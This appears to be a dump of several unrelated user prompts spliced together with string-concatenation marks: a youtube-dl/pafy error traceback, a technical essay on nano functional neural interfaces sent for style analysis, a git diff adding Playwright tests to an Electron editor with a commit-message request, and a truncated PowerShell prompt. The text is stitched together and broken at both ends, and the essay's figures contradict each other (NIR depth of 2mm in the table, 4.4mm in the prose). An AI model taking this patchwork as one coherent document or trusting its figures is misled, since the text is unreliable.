extract\n ie\\_result = self.\\_real\\_extract(url)\n ^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\extractor\\youtube.py", line 1794, in \\_real\\_extract\n \'uploader\\_id\': self.\\_search\\_regex(r\'/(?:channel|user)/([^/?&#]+)\', owner\\_profile\\_url, \'uploader id\') if owner\\_profile\\_url else None,\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\extractor\\common.py", line 1012, in \\_search\\_regex\n raise RegexNotFoundError(\'Unable to extract %s\' % \\_name)\nyoutube\\_dl.utils.RegexNotFoundError: Unable to extract uploader id; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; see https://yt-dl.org/update on how to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.\n\nDuring handling of the above exception, another exception occurred:\n\nTraceback (most recent call last):\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 40, in \\_fetch\\_basic\n self.\\_ydl\\_info = ydl.extract\\_info(self.videoid, download=False)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\YoutubeDL.py", line 808, in extract\\_info\n return self.\\_\\_extract\\_info(url, ie, download, extra\\_info, process)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\YoutubeDL.py", line 824, in wrapper\n self.report\\_error(compat\\_str(e), e.format\\_traceback())\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\YoutubeDL.py", line 628, in report\\_error\n self.trouble(error\\_message, tb)\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\YoutubeDL.py", line 598, in trouble\n raise DownloadError(message, exc\\_info)\nyoutube\\_dl.utils.DownloadError: ERROR: Unable to extract uploader id; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; see https://yt-dl.org/update on how to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.\n\nDuring handling of the above exception, another exception occurred:\n\nTraceback (most recent call last):\n File "C:\\Program Files\\Python311\\Lib\\tkinter\\\\_\\_init\\_\\_.py", line 1948, in \\_\\_call\\_\\_\n return self.func(\\*args)\n ^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\Desktop\\Dan-Special\\Tests\\test3.py", line 24, in play\\_button\\_clicked\n video = pafy.new(url)\n ^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\pafy.py", line 124, in new\n return Pafy(url, basic, gdata, size, callback, ydl\\_opts=ydl\\_opts)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 31, in \\_\\_init\\_\\_\n super(YtdlPafy, self).\\_\\_init\\_\\_(\\*args, \\*\\*kwargs)\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_shared.py", line 97, in \\_\\_init\\_\\_\n self.\\_fetch\\_basic()\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 43, in \\_fetch\\_basic\n raise IOError(str(e).replace(\'YouTube said\', \'Youtube says\'))\nOSError: ERROR: Unable to extract uploader id; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; see https://yt-dl.org/update on how to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.\nERROR: Unable to extract uploader id; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; see https://yt-dl.org/update on how to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.\nException in Tkinter callback\nTraceback (most recent call last):\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\YoutubeDL.py", line 815, in wrapper\n return func(self, \\*args, \\*\\*kwargs)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\YoutubeDL.py", line 836, in \\_\\_extract\\_info\n ie\\_result = ie.extract(url)\n ^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\extractor\\common.py", line 534, in extract\n ie\\_result = self.\\_real\\_extract(url)\n ^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\extractor\\youtube.py", line 1794, in \\_real\\_extract\n \'uploader\\_id\': self.\\_search\\_regex(r\'/(?:channel|user)/([^/?&#]+)\', owner\\_profile\\_url, \'uploader id\') if owner\\_profile\\_url else None,\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\extractor\\common.py", line 1012, in \\_search\\_regex\n raise RegexNotFoundError(\'Unable to extract %s\' % \\_name)\nyoutube\\_dl.utils.RegexNotFoundError: Unable to extract uploader id; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; see https://yt-dl.org/update on how to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.\n\nDuring handling of the above exception, another exception occurred:\n\nTraceback (most recent call last):\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 40, in \\_fetch\\_basic\n self.\\_ydl\\_info = ydl.extract\\_info(self.videoid, download=False)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\YoutubeDL.py", line 808, in extract\\_info\n return self.\\_\\_extract\\_info(url, ie, download, extra\\_info, process)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\YoutubeDL.py", line 824, in wrapper\n self.report\\_error(compat\\_str(e), e.format\\_traceback())\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\YoutubeDL.py", line 628, in report\\_error\n self.trouble(error\\_message, tb)\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\YoutubeDL.py", line 598, in trouble\n raise DownloadError(message, exc\\_info)\nyoutube\\_dl.utils.DownloadError: ERROR: Unable to extract uploader id; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; see https://yt-dl.org/update on how to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.\n\nDuring handling of the above exception, another exception occurred:\n\nTraceback (most recent call last):\n File "C:\\Program Files\\Python311\\Lib\\tkinter\\\\_\\_init\\_\\_.py", line 1948, in \\_\\_call\\_\\_\n return self.func(\\*args)\n ^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\Desktop\\Dan-Special\\Tests\\test3.py", line 24, in play\\_button\\_clicked\n video = pafy.new(url)\n ^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\pafy.py", line 124, in new\n return Pafy(url, basic, gdata, size, callback, ydl\\_opts=ydl\\_opts)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 31, in \\_\\_init\\_\\_\n super(YtdlPafy, self).\\_\\_init\\_\\_(\\*args, \\*\\*kwargs)\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_shared.py", line 97, in \\_\\_init\\_\\_\n self.\\_fetch\\_basic()\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 43, in \\_fetch\\_basic\n raise IOError(str(e).replace(\'YouTube said\', \'Youtube says\'))\nOSError: ERROR: Unable to extract uploader id; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; see https://yt-dl.org/update on how to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.' +'Here Damian! This is another example of my technical writing, please analyze the style, science, and rhetoric that I used. Really get to know my writing style with this one:\n"\nTherapeutic ultrasound has been used for imaging and treating various conditions due to its penetration depth and thermal effects[19.]. Similar to electromagnetic radiation, the penetration depth of ultrasound is highly dependent on the signal frequency. Typically ultrasound can be categorized by low power/low frequency or high power/high frequency. High-intensity ultrasound, often over 1000W/cm2, generally is used for its thermal properties as the vibrations cause heat to be generated in the target tissue. 1 MHz ultrasound has been shown to penetrate up to 2.3 to 5 cm, while 3 MHz ultrasound can penetrate up to 0.8 to 1.6 cm deep[19.]. Generally, ultrasound cannot be applied across the skull because of the massive attenuation at the skin-bone interface. The attenuation causes heat as the lost acoustic energy is converted into thermal energy. However, to account for the attenuation through the skull, phased \nSignal Type\nPenetration Depth\nSpatial Resolution\nNIR light\n2mm\n0.05mm\nMicrowaves\n50mm\n4mm\nUltrasound\n30mm\n1-2mm\nMagnetic Fields\n50mm \n10mm\n\nTable 2: Comparison of the three primary signals\n There exists an inverse relationship between penetration depth and spatial resolution in primary signals. As depicted in Table 2, NIR light, the ideal visible light primary signal, can only penetrate 4.4mm into tissue allowing for stimulation of the cerebral cortex, which is the outermost layer of the brain. Microwaves and TMS can penetrate approximately 50mm into the brain, which would allow for stimulation of the entirety of the cerebrum. However, NIR light can be focused on a near-nanoscale under ideal conditions, while TMS and microwaves can only be focused on a centimeter scale. Transcranial Doppler can penetrate 30mm into the brain while having a millimeter-scale resolution, falling between the two extremes. Given the inverse relationship of penetration depth to spatial resolution, the primary signals could be combined by utilizing different nFNIs to achieve deep stimulation without sacrificing spatial resolution.\nNano Functional Neural Interfaces\n Nano functional neural interfaces are an emerging field within Functional Neural Interfaces that could potentially revolutionize neuroscience as a whole. As shown in figure 1, nFNIs are nanotransducers capable of converting a primary external signal to a secondary form of energy that can activate an ion channel. Likewise, they can receive the secondary form of energy from the ion channel/neuron and convert it into the primary form of energy. As discussed in the Primary Signals section, electromagnetic radiation, Ultrasound, and Magnetic force are the three primary signals used in nFNIs. However, various forms of energy can be used as a secondary signal, such as electrical, magnetic, thermal, optical, and mechanical energies[7.]. \nNumber\nPrimary Signal\nSecondary Signal\nMaterial\nBinding Target\n1\nVIS light\nElectric field\nQuantum Dots(CdSe)\nMembrane/intracellular/\nvoltage-gated ion channels\n2\nMagnetic Field\nElectric field\nCoFe2O4-BaTiO3\nMembrane/intracellular/\nvoltage-gated ion channels\n3\nUltrasound\nElectric field\nPiezocrystals(Barium Titanate)\nMembrane/intracellular/\nvoltage-gated ion channels\n4\nVIS/NIR light\nHeat\nGold nanomaterials\nTRPV1 Ion channels\n5\nMagnetic field\nHeat\nSuperparamagnetic materials(Manganese ferrite)\nTRPV1 Ion channels\n6\nNIR light\nUV/Vis\nNaYF4:Yb,Er nanoparticles\nlight-sensitive ion channels (ChRs, Chrimson, Jaws)\n7\nMagnetic Field\nMechanical Force\nMagnetite nanoparticles\nMembrane/mechano-gated ion channels(DEG, K2P)\n\n Table 3: Comparing the current state of art nano functional neural interfaces[7,20, 35,36]. The first three nFNIs listed are nano electrotransducers(optoelectric, magnetoelectric, and piezoelectric). Rows 4 and 5 depicted Nano thermotransducers(optothermal and magnetothermal). Row 6 shows a nano optotransducer, and Row 7 depicts a nano mechanotransducer.\n As depicted in Table 3, there are currently seven nanotransducers that promise to create a stable nFNI. The seven transducers can be broken into four groups: electrotransducers, thermotransducers, optotransducers, and mechanotransducers. \nOptotransducers utilize optogenetics to stimulate the ion channel. In optogenetics, creatures are genetically engineered to have light-sensitive ion channels called opsins onto the plasma membrane or have them artificially inserted[7.]. Opsins are engineered ion channels or pumps that respond to specific wavelengths of light to either inhibit or excite neurons. Three examples of opsins are depicted in Table 3. However, another method would be needed to detect the activity of the neuron. While light can stimulate the ion channel, the ion channel would not, in turn, produce light. Therefore, optotransducers would work as stimulators only.\nThermotransducers can take primary signals such as light or magnetic fields to create localized heat. TRP channels, specifically TRPV1, have been shown to be effective temperature-gated ion channels. The channels could be used to inhibit or excite neurons based on localized heating caused by these materials. Ferrous materials such as Manganese ferrite have been shown to be effective magnetothermal transducers[36]. \nOf the seven transducers, optoelectronic, magnetoelectric, piezoelectric, and magnetomechanical nanotransducers will be explored as options for an nFNI because the above-listed transducers are bidirectional. \nOptoelectronic Transducers\nQuantum dots (QD) are semiconducting nanocrystals with properties that allow them to transport electrons. Cadmium selenide (CdSe) is the most common QD, consisting of heavy metal and a nonmetal. The heavy metal acts as the core of the QD, and an additional coating is typically added for stability and biocompatibility. Depending on their material, size, and shape, QDs can be fine-tuned to emit or absorb specific wavelengths from ultraviolet to near-infrared (NIR) due to quantum confinement[9.]. Quantum confinement occurs when the particle size is too small to be comparable to the wavelength of an electron. The phenomenon allows for high photostability and quantum efficiency. For these reasons, quantum dots are being used more readily for clinical purposes such as fluorescent labeling, cancer treatment, and drug delivery[9.]. They are useful in these applications due to their ability to be used as a platform to image while also being small enough to travel through the bloodstream. \nQD exhibits optoelectric properties to generate photocurrent [9.]. Once excited, QDs momentarily create an electric dipole moment, which induces an electric field. If a QD can be coupled with a neuron within 10 nm[20.] of the plasma membrane either by use of an anchor protein or floating in a substrate, the electric field generated may be enough to create an action potential. Neurons typically have a resting voltage of approximately -70mV. For the neuron to begin depolarizing, creating an action potential, the voltage would need to be raised to -55mV meaning the nFNIs would need to transduce 15mV to cause the neuron to fire[21.].While additional research is require to demonstrate the energy conversion efficiency of QDs on a nanoscale, QDs have been used for photovoltaics in recent studies that demonstrated, on a macroscale, an efficiency of 66%[37]. \nWhile QDs can allow for an attenuated signal to generate an action potential, NIR light would first need to make it to the transducers to stimulate the QDs. A benefit to this model is that QDs can be tailored to their needed application, but if the coating is degraded, the heavy metal core could be toxic[12.]. They have shown cytotoxicity towards cells in vitro due to the release of free Cadmium[22.]. However, quantum dots have not been shown to be toxic in humans, so further experimentation should be done before the assumption that QDs are toxic in humans would be needed. \nMagnetic Transducers \nMagnetic nanoparticles have been investigated for medical applications such as magnetic separation of biological entities, nano-drug delivery, cancer treatment, and MRI. However, there has been a recent push in using magnetic particles for neural interfacing. Similar to QDs, magnetic nanoparticles typically consist of a metallic core paired with a shell to make the interface biocompatible and stable. Typically the internal cores can be made from iron-cobalt alloys with a coating that protects the interface from oxidation[23.]. Still, once again, the coating of the interface is highly dependent on the nature of the tasks. In the following section, magnetoelectric nanoparticles(MENs) and magnetomechanical nanoparticles(MMNs) will be investigated. \nMagnetoelectric Nanotransducers \nIn a study conducted by Gudurut et al., EEG waveforms of live mice were shown to be modulated by 30nm CoFe2O4-BaTiO3 magnetoelectric core-shell nanoparticles under low energy magnetic fields(20 Oe at 20 Hz).CoFe2O4-BaTiO3 was chosen specifically for this study due to its powerful magneto-electric effect due to strain-induced coupling between the magnetostrictive cobalt ferrite cores and piezoelectric barium titanate shells [24.]. In another investigation conducted by Nguyen et al., it was found that by using magnetic nanoparticles localized to a specific region of the brain, a local electric field of 1000V/m could be induced with roughly 50 mT at 10 Hz. The result is especially significant because standard transcranial magnetic stimulation requires approximately 1T to produce a similar effect[25.].\nWhile the initial finding for MENs shows they have promise as stable nFNIs, further investigation is needed to confirm their properties. In the study conducted by Gudurut et al., the cytotoxicity of MENs was performed. In this study, the magnetic nanoparticles were coated with glycerol mono-oleate. They found no significant toxicity for human neuron cells in vitro in a concentration range up to 200 μg/ml[25.].\nMagnetomechanical Nanotransducers\nMMNs capable of mechanically modulating cell response has been established in the field. Typically, MMNs are bound to the plasma membrane using collagen or an equivalent binding protein. They are able to apply pico-newton forces to stretch ion channels via particle twisting[26.]. MMNs can have iron oxide, magnetite, or hematite cores, and they can also have silica, collagen, starch, or dextran coatings, depending on the type of cell they are being bound to[26.]. While most studies conducted on MMNs were conducted in non-excitable cells, the activation of mechanosensitive ion channels can be transferred to neural modulation. In particular, one study demonstrates the potential for MMNs[27.]. They used MMNs with magnetite cores coated with starch to target ion channels attempting to cause a calcium influx in cortical neurons. By utilizing a magnetic field of 110mT, they were able to induce a significant calcium influx in transgenic mechanosensitive ion channels, which is a tenth of the energy needed to induce a calcium influx using TMS[28.]. \n"' +'create commit message for diff: diff --git a/.npmrc b/.npmrc\nnew file mode 100644\nindex 0000000..92fb827\n--- /dev/null\n+++ b/.npmrc\n@@ -0,0 +1 @@\n+PLAYWRIGHT\\_SKIP\\_BROWSER\\_DOWNLOAD=1\n\\ No newline at end of file\ndiff --git a/Jenkinsfile b/Jenkinsfile\nindex 6d9c464..f0f507e 100644\n--- a/Jenkinsfile\n+++ b/Jenkinsfile\n@@ -44,6 +44,7 @@ pipeline {\n genericSh(\'conan config install git@git.raa-st.com:st/conan-config.git -sf default\')\n genericSh(\'yarn install\')\n genericSh(\'yarn build\')\n+ genericSh(\'yarn test\')\n genericSh(\'yarn package\')\n if (!isUnix()) {\n genericSh(\'yarn make-windows\')\n@@ -62,7 +63,9 @@ pipeline {\n steps {\n script {\n if (!isUnix()) {\n- archiveArtifacts \'out/vkbox-editor-x64-install.exe, out/version.txt\'\n+ archiveArtifacts \'out/vkbox-editor-x64-install.exe, out/version.txt, out/tests/\\*\\*/\\*\'\n+ } else {\n+ archiveArtifacts \'out/tests/\\*\\*/\\*\'\n }\n }\n }\ndiff --git a/package.json b/package.json\nindex 86b2f6e..830fe90 100644\n--- a/package.json\n+++ b/package.json\n@@ -13,7 +13,8 @@\n "make-windows": "innosetup-compiler installer.iss --O=out",\n "build-prod": "vite build",\n "build": "run-s generate-bindings make-config-schema build-prod",\n- "write-version": "node write-version.js"\n+ "write-version": "node write-version.js",\n+ "test": "playwright test"\n },\n "keywords": [],\n "author": {\n@@ -24,6 +25,7 @@\n "@emotion/react": "^11.10.4",\n "@fontsource/roboto": "^4.5.8",\n "@mui/base": "^5.0.0-alpha.106",\n+ "@playwright/test": "^1.28.1",\n "@types/argparse": "^2.0.10",\n "@types/async-lock": "^1.3.0",\n "@types/fs-extra": "^9.0.13",\n@@ -60,6 +62,7 @@\n "monaco-editor": "^0.34.0",\n "node-loader": "^2.0.0",\n "npm-run-all": "^4.1.5",\n+ "playwright": "^1.28.1",\n "postcss": "^8.4.19",\n "prettier": "^2.8.1",\n "prettier-plugin-organize-imports": "^3.2.1",\ndiff --git a/playwright.config.ts b/playwright.config.ts\nnew file mode 100644\nindex 0000000..e37563a\n--- /dev/null\n+++ b/playwright.config.ts\n@@ -0,0 +1,32 @@\n+import type {Config, PlaywrightTestOptions, PlaywrightWorkerOptions} from \'@playwright/test\'\n+\n+const config: Config = {\n+ testDir: \'src/e2e\',\n+ outputDir: \'out/tests\',\n+ snapshotPathTemplate: \'{testDir}/{testFilePath}-snapshots/{testName}-{arg}{ext}\',\n+ timeout: 3000 \\* 1000,\n+ globalTimeout: 5 \\* 6000 \\* 1000,\n+ workers: process.env.CI ? 1 : undefined,\n+ forbidOnly: !!process.env.CI,\n+ preserveOutput: process.env.CI ? \'failures-only\' : \'always\',\n+ retries: process.env.CI ? 3 : 0,\n+ reporter: process.env.CI ? [[\'dot\'], [\'json\', {outputFile: \'out/tests/report.json\'}]] : \'line\',\n+ projects: [\n+ {\n+ name: \'electron\',\n+ use: {\n+ browserName: \'chromium\',\n+ },\n+ metadata: {\n+ platform: process.platform,\n+ headful: true,\n+ browserName: \'electron\',\n+ channel: undefined,\n+ mode: \'default\',\n+ video: false,\n+ },\n+ },\n+ ],\n+}\n+\n+export default config\ndiff --git a/src/docks.view.tsx b/src/docks.view.tsx\nindex 5fa6b4f..8e3020c 100644\n--- a/src/docks.view.tsx\n+++ b/src/docks.view.tsx\n@@ -8,10 +8,12 @@ import {Dropdown, DropdownList, DropdownListItem, DropdownOpenOn, DropdownSide}\n function OpenTabDropdown(props: {model: DocksModel; insertAfterTab?: string}) {\n return (\n \n {Object.entries(availableTabs).map(([id, tabInfo]) => (\n {\n props.model.addTab(id as TabType, props.insertAfterTab)\n@@ -35,7 +37,7 @@ export const DocksView = observer(({model}: {model: DocksModel}) => {\n // console.log(getSnapshot(model.layout))\n return model.isEmpty ? (\n <>\n- \n+ \n \n\n To open an additional tab, right-click on the tab name\ndiff --git a/src/e2e/electron-fixture.ts b/src/e2e/electron-fixture.ts\nnew file mode 100644\nindex 0000000..b7c51d5\n--- /dev/null\n+++ b/src/e2e/electron-fixture.ts\n@@ -0,0 +1,32 @@\n+import type {ElectronApplication, Page} from \'@playwright/test\'\n+import {test as base} from \'@playwright/test\'\n+export {expect} from \'@playwright/test\'\n+\n+type ElectronTestFixtures = {\n+ electronApp: ElectronApplication\n+ window: Page\n+}\n+\n+export const test = base.extend({\n+ electronApp: async ({playwright}, run) => {\n+ // This env prevents \'Electron Security Policy\' console message.\n+ // process.env[\'ELECTRON\\_DISABLE\\_SECURITY\\_WARNINGS\'] = \'true\'\n+ const electronApp = await playwright.\\_electron.launch({args: [\'.\']})\n+ await run(electronApp)\n+ await electronApp.close()\n+ },\n+\n+ window: async ({electronApp}, run) => {\n+ const window = await electronApp.firstWindow()\n+ await window.evaluate(() => (window as any).localStorage.clear())\n+ await run(window)\n+ },\n+\n+ page: async ({window}, run) => {\n+ await run(await window)\n+ },\n+\n+ context: async ({electronApp}, run) => {\n+ await run(electronApp.context())\n+ },\n+})\ndiff --git a/src/e2e/first.spec.ts b/src/e2e/first.spec.ts\nnew file mode 100644\nindex 0000000..7e0f1cc\n--- /dev/null\n+++ b/src/e2e/first.spec.ts\n@@ -0,0 +1,59 @@\n+import {expect, test} from \'./electron-fixture\'\n+\n+const getScreenOpts = (name: string) => ({path: `out/tests/screens/${name}.png`})\n+\n+test(\'check initial state\', async ({window}) => {\n+ expect((await window.title()).startsWith(\'Vkbox Editor\')).toBeTruthy()\n+ await expect(window.locator(\'#open-tab-dropdown\')).toBeVisible()\n+ // await window.pause()\n+ await window.screenshot(getScreenOpts(\'main\'))\n+})\n+\n+test(\'open config tab\', async ({window}) => {\n+ await window.hover(\'#open-tab-dropdown\')\n+ await window.click(\'#open-config-editor\')\n+ await expect(window.locator(\'text=Save\')).toBeVisible()\n+ await window.screenshot(getScreenOpts(\'config\'))\n+})\n+\n+test(\'open theme tab\', async ({window}) => {\n+ await window.hover(\'#open-tab-dropdown\')\n+ await window.click(\'#open-theme-editor\')\n+ await expect(window.locator(\'input#mode\')).toBeVisible()\n+ await window.screenshot(getScreenOpts(\'theme\'))\n+})\n+\n+test(\'open create-object tab\', async ({window}) => {\n+ await window.hover(\'#open-tab-dropdown\')\n+ await window.click(\'#open-create-object\')\n+ await expect(window.locator(\'text=Cleanup scene\')).toBeVisible()\n+ await window.screenshot(getScreenOpts(\'create-object\'))\n+})\n+\n+test(\'open leaflet tab\', async ({window}) => {\n+ await window.hover(\'#open-tab-dropdown\')\n+ await window.click(\'#open-leaflet-map\')\n+ await expect(window.locator(\'.leaflet-container\')).toBeVisible()\n+ await window.screenshot(getScreenOpts(\'leaflet\'))\n+})\n+\n+test(\'open canvas tab\', async ({window}) => {\n+ await window.hover(\'#open-tab-dropdown\')\n+ await window.click(\'#open-canvas\')\n+ await expect(window.locator(\'text=No connection\')).toBeVisible()\n+ await window.screenshot(getScreenOpts(\'canvas\'))\n+})\n+\n+test(\'open entities tab\', async ({window}) => {\n+ await window.hover(\'#open-tab-dropdown\')\n+ await window.click(\'#open-entities\')\n+ await expect(window.locator(\'text=No connection\')).toBeVisible()\n+ await window.screenshot(getScreenOpts(\'entities\'))\n+})\n+\n+test(\'open profiling tab\', async ({window}) => {\n+ await window.hover(\'#open-tab-dropdown\')\n+ await window.click(\'#open-profiling\')\n+ await expect(window.locator(\'text=No connection\')).toBeVisible()\n+ await window.screenshot(getScreenOpts(\'profiling\'))\n+})\ndiff --git a/src/e2e/tsconfig.json b/src/e2e/tsconfig.json\nnew file mode 100644\nindex 0000000..f97a39d\n--- /dev/null\n+++ b/src/e2e/tsconfig.json\n@@ -0,0 +1,5 @@\n+{\n+ "compilerOptions": {\n+ "outDir": "./out/tests/build"\n+ }\n+}\ndiff --git a/src/main.ts b/src/main.ts\nindex 386662e..c2c9921 100644\n--- a/src/main.ts\n+++ b/src/main.ts\n@@ -13,9 +13,11 @@ const parser = new ArgumentParser({\n })\n interface Arguments {\n serve: boolean\n+ headless: boolean\n }\n \n parser.add\\_argument(\'-s\', \'--serve\', {action: \'store\\_true\', help: \'load serve url\'})\n+parser.add\\_argument(\'--headless\', {action: \'store\\_true\', help: \'run in headless mode\'})\n const args = parser.parse\\_args() as Arguments\n \n function createWindow() {\n@@ -38,6 +40,7 @@ function createWindow() {\n }\n const mainWindow = new BrowserWindow({\n ...windowConf,\n+ show: !args.headless,\n webPreferences: {\n nodeIntegration: true,\n allowRunningInsecureContent: true,\n@@ -45,7 +48,7 @@ function createWindow() {\n webSecurity: false,\n },\n })\n- if (windowConf === undefined || windowConf.maximized) {\n+ if ((windowConf === undefined || windowConf.maximized) && !args.headless) {\n mainWindow.maximize()\n }\n \n@@ -76,7 +79,9 @@ function createWindow() {\n \n if (args.serve) {\n mainWindow.loadURL(\'http://localhost:9000\').then(() => {\n- mainWindow.webContents.openDevTools()\n+ if (!args.headless) {\n+ mainWindow.webContents.openDevTools()\n+ }\n })\n } else {\n mainWindow.loadURL(\ndiff --git a/vite.config.ts b/vite.config.ts\nindex 1e288ee..2cc3e4e 100644\n--- a/vite.config.ts\n+++ b/vite.config.ts\n@@ -44,7 +44,7 @@ export default defineConfig({\n },\n },\n onstart(options) {\n- options.startup([\'.\', \'--serve\']).then()\n+ options.startup([\'.\', \'--serve\', \'--headless\']).then()\n },\n }),\n renderer({\ndiff --git a/yarn.lock b/yarn.lock\nindex 5c1dce7..066ffc9 100644\n--- a/yarn.lock\n+++ b/yarn.lock\n@@ -557,6 +557,14 @@\n "@nodelib/fs.scandir" "2.1.5"\n fastq "^1.6.0"\n \n+"@playwright/test@^1.28.1":\n+ version "1.28.1"\n+ resolved "https://npm.raa-st.com/@playwright%2ftest/-/test-1.28.1.tgz#e5be297e024a3256610cac2baaa9347fd57c7860"\n+ integrity sha512-xN6spdqrNlwSn9KabIhqfZR7IWjPpFK1835tFNgjrlysaSezuX8PYUwaz38V/yI8TJLG9PkAMEXoHRXYXlpTPQ==\n+ dependencies:\n+ "@types/node" "\\*"\n+ playwright-core "1.28.1"\n+\n "@popperjs/core@^2.11.6":\n version "2.11.6"\n resolved "https://npm.raa-st.com/@popperjs%2fcore/-/core-2.11.6.tgz#cee20bd55e68a1720bdab363ecf0c821ded4cd45"\n@@ -3675,6 +3683,18 @@ pify@^3.0.0:\n resolved "https://registry.yarnpkg.com/pify/-/pify-3.0.0.tgz#e5a4acd2c101fdf3d9a4d07f0dbc4db49dd28176"\n integrity sha512-C3FsVNH1udSEX48gGX1xfvwTWfsYWj5U+8/uK15BGzIGrKoUpghX8hWZwa/OFnakBiiVNmBvemTJR5mcy7iPcg==\n \n+playwright-core@1.28.1:\n+ version "1.28.1"\n+ resolved "https://npm.raa-st.com/playwright-core/-/playwright-core-1.28.1.tgz#8400be9f4a8d1c0489abdb9e75a4cc0ffc3c00cb"\n+ integrity sha512-3PixLnGPno0E8rSBJjtwqTwJe3Yw72QwBBBxNoukIj3lEeBNXwbNiKrNuB1oyQgTBw5QHUhNO3SteEtHaMK6ag==\n+\n+playwright@^1.28.1:\n+ version "1.28.1"\n+ resolved "https://npm.raa-st.com/playwright/-/playwright-1.28.1.tgz#f23247f1de466ff73d7230d94df96271e5da6583"\n+ integrity sha512-92Sz6XBlfHlb9tK5UCDzIFAuIkHHpemA9zwUaqvo+w7sFMSmVMGmvKcbptof/eJObq63PGnMhM75x7qxhTR78Q==\n+ dependencies:\n+ playwright-core "1.28.1"\n+\n plist@^3.0.1, plist@^3.0.4:\n version "3.0.5"\n resolved "https://npm.raa-st.com/plist/-/plist-3.0.5.tgz#2cbeb52d10e3cdccccf0c11a63a85d830970a987"' +'Windows PowerShell\nCopyright (C) Microsoft Corporation. All rights reserved.\n\nTry the new cross-platform PowerShell https://aka.ms/pscore6\n\nWarning: PowerShell detected that you might be using a screen reader and has disabled PSReadLine for compatibility purposes. If you want to re-enable it, run \'Import-Module PSReadLine\'.\n\nPS C:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App> & \'C:\\Program Files\\Python311\\python.exe\' 